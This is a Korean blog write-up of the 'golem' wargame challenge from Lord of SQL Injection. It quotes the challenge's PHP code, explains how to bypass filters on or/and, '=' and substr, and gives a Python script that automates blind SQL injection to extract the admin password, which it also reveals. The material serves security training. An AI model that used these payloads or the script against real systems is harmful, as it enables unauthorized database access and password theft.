일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- AES
- arrange()
- proc contents
- dplyr
- sample_n()
- mutate()
- samp;e_frac()
- distinct()
- select()
- filter()
- 대칭형 알고리즘
- groupe_by()
- summarize()
- Today
- Total
Gae Ko's Blog
los : golem 본문
[코드분석]
<?php
include "./config.php";
login_chk();
dbconnect();
↑DB와 연결을 위한 코드
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
↑preg_match를 통한 필터링
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
↑쿼리실행
$_GET[pw] = addslashes($_GET[pw]);
↑addslashes()함수
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
↑진짜 원하던 쿼리실행
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
↑문제의 포인트
[내 풀이]
코드를 보니 preg_match를 통해 입력값에 포함된 (와 ) 그리고 or 이나 and 그리고 = 가 포함된 입력값을 필터링 한다.
그리고 addslashes함수를 통해 입력값을 넣을 때 싱글쿼터를 사용하지 못하게 하였고
GET방식으로 입력받은 pw값이 admin의 pw와 동일할 때 문제가 풀린다고 한다.
맨 마지막을 통해 이 문제는 Blind SQL injection임을 알 수 있다.
일단 필터링 되는 문자열을 생각해보면
1) 괄호( 와 ) 는 각각 %28과 %29로 대체
2) or 과 and 는 || 와 &&로 대체 ( 특수기호는 url 인코딩 )
3) 그리고 등호를 사용할 수 없는데 등호 우회하는 법을 구글링해보니
a=b 과 a in (b) 은 동일한 의미를 나타냄을 알게 되었다.
일단 length함수를 통해 admin의 pw 길이를 구한다.
( ?pw=%27 or id='admin' and length(pw)=8# 를 필터링되는 문자열들을 생각해서 아래처럼 바꿔주었다. )
이를 통해 admin의 pw길이가 8임을 알아내었다.
이제 substr함수를 통해 정확한 pw를 알아내야하는데 substr( 가 필터링되므로 동일한 기능을 하는 함수를 찾아본다.
구글링해보니 substr( string, a, b) 는 right( left( string, a) , b) 로 대체할 수 있다.
아래와 같이 admin의 pw의 첫번째 글자를 찾보기위해 char의 인자 숫자를 바꿔가며 해보았다.
▲ admin의 pw의 첫번째 글자의 아스키값이 55보다 크다는 의미
▲ admin의 pw의 첫번째 글자의 아스키값이 56보다 크지 않다는 의미
즉 admin의 pw의 첫번째 글자는 아스키값이 56인 8 이다.
이렇게 8자리까지 쭈욱 알아낼 수 있다.
하지만 모두 하나하나 하기엔 시간이 걸리므로 orc 문제에서 사용한 코드를 조금 수정해서 하나하나 확인하는 것을 자동화하여 실행할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | import urllib2, urllib, requests, time flag = '' length= 0 session = dict(PHPSESSID="vee4ea8c3gtsmr8vjn9skp6ur0") # find the length of PW for i in range(0, 20): try: r = requests.post("https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id in %28'admin'%29 %26%26 length%28pw%29 in%28"+str(i)+"%29%23", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: #true length = i break print "[+] Length of admin pw : " + str(length) for j in range(1, length+1): for i in range(48, 126): try: r = requests.post("https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id in %28'admin'%29 %26%26 right%28left%28pw,"+str(j)+"%29,1%29 in %28char%28"+ str(i)+"%29%29%23", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: flag = flag + chr(i) print "[+] finding pw : " + flag break time.sleep(0.1) print "[+] pw of admin : " + flag | cs |
이 코드를 실행하면
결론 : id 가 'admin'인 pw는 88e3137f
'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글
los : bugbear (0) | 2017.08.17 |
---|---|
los : darkknight (0) | 2017.08.17 |
los : skeleton (0) | 2017.08.17 |
los : vampire (0) | 2017.08.17 |
los : troll (0) | 2017.08.16 |